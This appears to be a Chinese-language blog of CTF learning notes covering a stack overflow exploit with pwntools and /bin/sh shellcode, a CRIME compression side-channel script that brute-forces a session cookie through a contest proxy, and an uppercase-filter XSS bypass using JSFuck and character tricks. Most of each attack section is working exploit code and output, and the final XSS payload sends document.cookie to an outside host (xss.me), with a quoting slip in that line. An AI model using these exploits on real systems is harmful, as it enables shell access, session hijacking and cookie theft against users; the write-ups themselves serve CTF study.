0xffffd5ee: 0x0002f7fe  0xd6740000  0xd614ffff  0xa018ffff
0xffffd5fe: 0x822c0804  0xa0000804  0x0000f7fc  0x00000000
0xffffd60e: 0x00000000  0x3a980000  0x9e88f941  0x0000c01f
0xffffd61e: 0x00000000  0x00000000  0x00020000  0x83500000
0xffffd62e: 0x00000804  0x04c00000  0x7a09f7ff  0xd000f7e3
0xffffd63e: 0x0002f7ff  0x83500000  0x00000804  0x83710000
0xffffd64e: 0x844d0804  0x00020804  0xd6740000  0x8490ffff
0xffffd65e: 0x85000804  0xb1600804  0xd66cf7fe  0x001cffff
0xffffd66e: 0x00020000  0xd7ad0000  0xd7c2ffff  0x0000ffff
0xffffd67e: 0xd8d30000  0xd8e4ffff  0xd8f4ffff  0xd908ffff
0xffffd68e: 0xd928ffff  0xd93bffff  0xd945ffff  0xde66ffff
0xffffd69e: 0xde72ffff  0xded0ffff  0xdee4ffff  0xdef3ffff
0xffffd6ae: 0xdf07ffff  0xdf18ffff  0xdf21ffff  0xdf2cffff
0xffffd6be: 0xdf34ffff  0xdf46ffff  0xdf53ffff  0xdf85ffff
0xffffd6ce: 0xdfa5ffff  0xdfc1ffff  0x0000ffff  0x00200000
0xffffd6de: 0xbc800000  0x0021f7fd  0xb0000000  0x0010f7fd
0xffffd6ee: 0xfbff0000  0x00060fab  0x10000000  0x00110000
0xffffd6fe: 0x00640000  0x00030000  0x80340000  0x00040804
0xffffd70e: 0x00200000  0x00050000  0x00090000  0x00070000
0xffffd71e: 0xc0000000  0x0008f7fd  0x00000000  0x00090000
0xffffd72e: 0x83500000  0x000b0804  0x00000000  0x000c0000

可知,我们可以将ReturnAdd设置在0xffffd5ae并在后面写入shellcode执行,但是这里有个坑,在蒸米的文章中提到过:

对初学者来说这个shellcode地址的位置其实是一个坑。因为正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的位置。但当你真的执行exp的时候你会发现shellcode压根就不在这个地址上!这是为什么呢?原因是gdb的调试环境会影响buf在内存中的位置,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变,但当我们直接执行./level1的时候,buf的位置会固定在别的地址上。怎么解决这个问题呢

解决方法是开启core dump这个功能。

ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

开启之后,当出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后我们再用gdb查看这个core文件就可以获取到buf真正的地址了。

root@Server:~/test/pwn1# ulimit -c unlimited
root@Server:~/test/pwn1# sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
root@Server:~/test/pwn1# ./vuln `python -c 'print "A"*268+"B"*4'`
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
段错误 (核心已转储)
root@Server:~/test/pwn1# gdb vuln /tmp/core.1491447169
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Loaded 105 commands.  Type pwndbg [filter] for a list.
Reading symbols from vuln...done.

查看内存:

pwndbg> x/100wx 0xffffd620-50
0xffffd5ee: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd5fe: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd60e: 0x41414141  0x41414141  0x41414141  0x42424141
0xffffd61e: 0x00004242  0xd6b40000  0xd6c0ffff  0xaccaffff
0xffffd62e: 0x0002f7fe  0xd6b40000  0xd654ffff  0xa018ffff
0xffffd63e: 0x822c0804  0xa0000804  0x0000f7fc  0x00000000
0xffffd64e: 0x00000000  0x41980000  0x6588eb8b  0x0000d2d2
0xffffd65e: 0x00000000  0x00000000  0x00020000  0x83500000
0xffffd66e: 0x00000804  0x04c00000  0x7a09f7ff  0xd000f7e3
0xffffd67e: 0x0002f7ff  0x83500000  0x00000804  0x83710000
0xffffd68e: 0x844d0804  0x00020804  0xd6b40000  0x8490ffff
0xffffd69e: 0x85000804  0xb1600804  0xd6acf7fe  0x001cffff
0xffffd6ae: 0x00020000  0xd7d10000  0xd7d8ffff  0x0000ffff
0xffffd6be: 0xd8e90000  0xd8fbffff  0xd90fffff  0xd91fffff
0xffffd6ce: 0xd93fffff  0xd952ffff  0xd95cffff  0xde7dffff
0xffffd6de: 0xde91ffff  0xdeefffff  0xdf03ffff  0xdf14ffff
0xffffd6ee: 0xdf1cffff  0xdf27ffff  0xdf39ffff  0xdf46ffff
0xffffd6fe: 0xdf78ffff  0xdf98ffff  0xdfb4ffff  0xdfd6ffff
0xffffd70e: 0xdfdfffff  0x0000ffff  0x00200000  0xbc800000
0xffffd71e: 0x0021f7fd  0xb0000000  0x0010f7fd  0xfbff0000
0xffffd72e: 0x00060fab  0x10000000  0x00110000  0x00640000
0xffffd73e: 0x00030000  0x80340000  0x00040804  0x00200000
0xffffd74e: 0x00050000  0x00090000  0x00070000  0xc0000000
0xffffd75e: 0x0008f7fd  0x00000000  0x00090000  0x83500000
0xffffd76e: 0x000b0804  0x00000000  0x000c0000  0x00000000

即可编写exp:

from pwn import *

ret = 0xffffd85c

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

payload = (268-len(shellcode))*"\x90" + shellcode + p32(ret)
#print payload


p=process(['./vuln',payload])

p.interactive()

期中\x90是不会执行的指令,可直接略过。

0x05 Summarize

Pwn is funny!

不懂的还很多,需要学习的还很多。

CRIME

0x00 megcup中的一道题

源码如下

proxy.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from mysecret import get_signed_session_id_raw
from flask import Flask, request, make_response
import requests

import base64

app = Flask(__name__)

UPSTREAM_URL = 'http://localhost:38701'

@app.route("/")
def hello():
    return "online proxy usage: /&lt;username&gt;/&lt;page&gt;"

@app.route("/<username>/<page>", methods=['GET', 'POST'])
def proxy(username, page):
    try:
        page = page.strip()
        assert set(page).issubset(set(
            chr(i) for i in range(ord('a'), ord('z') + 1)))
        if page == 'signtoken':
            return make_response('permission denied', 403)

        sid = get_signed_session_id_raw(username)
        sid = base64.urlsafe_b64encode(sid).decode('utf-8')
        up_resp = requests.get(UPSTREAM_URL + '/' + page, params=request.args,
                               cookies={'sessionid': sid})

        # some debug pages may expose session id; strip them
        resp = up_resp.text.replace(sid, '<del>sessionid</del>')

        if request.form.get('debug'):
            resp += '<br /><hr>proxy debug<br />'
            resp += 'server response headers: <pre>{}</pre>'.format(
                up_resp.headers)

        return resp
    except:
        return 'error'


if __name__ == "__main__":
    app.run(debug=True, port=38700)

server.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from mysecret import check_session_id, signtoken as do_signtoken
from simpleeval import simple_eval

from flask import Flask, request, make_response
import functools

app = Flask(__name__)

def require_login(func):
    @functools.wraps(func)
    def work():
        try:
            sid = request.cookies.get('sessionid')
            if not sid or not check_session_id(sid):
                return make_response('please login first', 401)
            return func()
        except:
            return 'error'
    return work

@app.route("/")
def hello():
    return "Hello World!"

@app.route("/echo")
@require_login
def echo():
    return make_response("""
        <h1>echo page</h1>
        <h2>request headers</h2><pre>{}</pre><h2>args</h2><pre>{}</pre>
    """.format(request.headers,
               '\n'.join('{}: {}'.format(k, v)
                         for k, v in request.args.items())))

@app.route("/eval")
@require_login
def eval_():
    expr = request.args['expr']
    result = simple_eval(expr)
    return make_response("""
        <h1>eval page</h1>
        <pre>{} = {}</pre>
    """.format(expr, result))

@app.route("/signtoken")
@require_login
def signtoken():
    token = request.args['token']
    signature = do_signtoken(token)
    return "token: {}<br />signature: {}".format(token, signature)

if __name__ == "__main__":
    app.run(debug=True, port=38701)

题目要达成的是能够得到server.py中函数signtoken()函数生成的值。

0x01 自己当时的一些想法

读了源码以后,了解大概逻辑也就是通过proxy.py对server.py进行访问。但是page中只能包含小写字母,并且过滤了signtoken字符串。当时想的是能够使用simple_eval来调用signtoken()这个函数并进行返回(因为eval中代入的参数在请求的数据中,对输入字符没有过滤,所以可发挥性比较大)。然后猛然发现simple_eval中并不能执行函数,只能输入字符串。并且读了simpleeval这个库的源码发现源码中并没有执行系统命令的函数。

0x02 CRIME

比赛结束看讨论里面有说到这题的解法是利用CRIME爆破出cookie,并且给了如下链接:

https://en.wikipedia.org/wiki/CRIME

CRIME(Compression Ratio Info-leak Made Easy;压缩率使信息很容易泄露)是一种可攻击安全隐患(Exploit),通过它可窃取启用数据压缩特性的HTTPS或SPDY协议传输的私密Web Cookie。在成功解读身份验证Cookie后,攻击者可以实行会话劫持和发动进一步攻击。

求助大腿学长,得知CRIME漏洞原理:

如果启用压缩,攻击者可以通过选择明文来与被加密的其他数据一同发送,因为HTTPS不加密关于数据原文长度的信息,可以通过比较原文与密文的长度计算压缩率,如果与被加密数据的明文有重合的话压缩率会提高,如果没有重合的话压缩率则会降低。这时可以采用分治算法的输入不断选择明文最终推断出密文的内容。

观察proxy.py到server.py的请求的response中存在aceept-encoding:gzip,故可能存在该漏洞。

通过文章:

http://www.freebuf.com/articles/web/5636.html

密文在充分压缩后会变得更短(更长的字符串会在请求中出现两次)

得知,构造如此请求

echo page
request headers

Accept: */*
Connection: close
User-Agent: python-requests/2.13.0
Accept-Encoding: gzip, deflate
Host: localhost:38701
Cookie: sessionid=sessionid
X-Forwarded-For: 127.0.0.1

args

a: Accept: */*
Connection: close
User-Agent: python-requests/2.13.0
Accept-Encoding: gzip, deflate
Host: localhost:38701
Cookie: sessionid=2

可以通过返回值长度爆破cookie中存在的字符。

从proxy.py中

        if request.form.get('debug'):
        resp += '<br /><hr>proxy debug<br />'
        resp += 'server response headers: <pre>{}</pre>'.format(
            up_resp.headers)

可知,post参数debug以后可以获得server返回的header,即可知道长度。

0x03 别人的payload

这是别人给的题解,至于哪个队的我已经记不清了qwq。并没有商业用途,只是想给大家看看,学习一下。

from flask import Flask, request, make_response
import requests
import base64
import urllib
import urllib2
import re

UPSTREAM_URL = 'http://47.93.114.77:38700/Zyr17/echo'

def getdebug(url):
    test_data = {'debug':'a'}
    test_data_urlencode = urllib.urlencode(test_data)
    req = urllib2.Request(url = url,data =test_data_urlencode)
    #print req
    res_data = urllib2.urlopen(req)
    res = res_data.read()
    if url[-1] == base[-1]:
        print res
    res = re.search(r"(?<='Content-Length': ').*(?=', 'Connection')", res)
    return int(res.group())

#print getdebug(UPSTREAM_URL)
base = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz012456789+/=3'

#LwQvbeoGUY2XOoc4uSg6Lw==
now = urllib.quote('''Accept: */*\r\nConnection: close\r\nUser-Agent: python-requests/2.13.0\r\nAccept-Encoding: gzip, deflate\r\nHost: localhost:38701\r\nCookie: sessionid=''')
print now
for i in range(100):
    nowmin = 100000
    alpha = '0'
    for j in base:
        res = getdebug(UPSTREAM_URL + '?' + 'a' + '=' + now + j)
        if (res < nowmin):
            nowmin = res
            alpha = j
        print 'trying', j, res
    now += alpha
    print now

0x04

需要学习的还很多。

xss_bypass_Uppercase

0x00 Question

某次遇到的XSS,它将所输入的所有字母均使用PHP转换为大写,并且过滤了入src等关键字以及各种标签。

0x01 Some Links

http://holyvier.blogspot.jp/2011/09/javascript-obfuscation-part-2-strings.html

http://holyvier.blogspot.jp/2011/10/javascript-obfuscation-getting-window.html

http://holyvier.blogspot.jp/2015/05/northsec-xss-challenge-writeups.html

0x02 JSFuck bypass Uppercase

如果输入没有对输入长度进行限制,即可使用JsFuck编码进行绕过

<script>alert(1)</script>

<script>[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()<script>

0x03 字符串拼接绕过Uppercase

js在执行一些运算的时候,可能会出现一些类似于NaN之类的字符并保存在变量中,如:

那么通过这样我们可以得到自己想要的字符串并拼凑起来执行到自己想要的命令,如:

下面是字母对照表

a    (!1+"")[1]
b    (1+{})[3]
c    (1+{})[6]
d    ([][[]]+"")[2]
e    ([][[]]+"")[3]
f    ([][[]]+"")[4]
i    ([][[]]+"")[5]
j    (1+{})[4]
l    (!1+"")[2]
m*  (1..constructor+"")[11]
n    ([][[]]+"")[1]
o    (1+{})[2]
r    (!0+"")[1]
s    (!1+"")[3]
t    (!0+"")[0]
u    ([][[]]+"")[0]
v*  ([].sort+"")[23]
y    (1/0+"")[7]

该方式利用可通过constructor和toString这两个函数.

通过constructor形成一个空的构造函数可以执行任意代码

toString可以通过进制转换拼接得到任意字符,如十进制转换为三十六进制:

17795081 -> alert
1966241552 -> windows
1698633989591 -> location
1071753937337 -> document
767051222 -> cookie

如此拼接可得到想要的payload,如:

完整利用为:

$=(1+{})[6]+(1+{})[2]+([][[]]+"")[1]+(!1+"")[3]+(!0+"")[0]+(!0+"")[1]+([][[]]+"")[0]+(1+{})[6]+(!0+"")[0]+(1+{})[2]+(!0+"")[1];

$$=[][$][$];

_=(!0+"")[0]+(1+{})[2]+"S"+(!0+"")[0]+(!0+"")[1]+([][[]]+"")[5]+([][[]]+"")[1]+(""[$]+"")[14];

$$(1966241552[_](36)+"."+1698633989591[_](36)+"="http://xss.me/"+"+1071753937337[_](36)+"."+767051222[_](36))();

以上,感谢VV大哥的帮助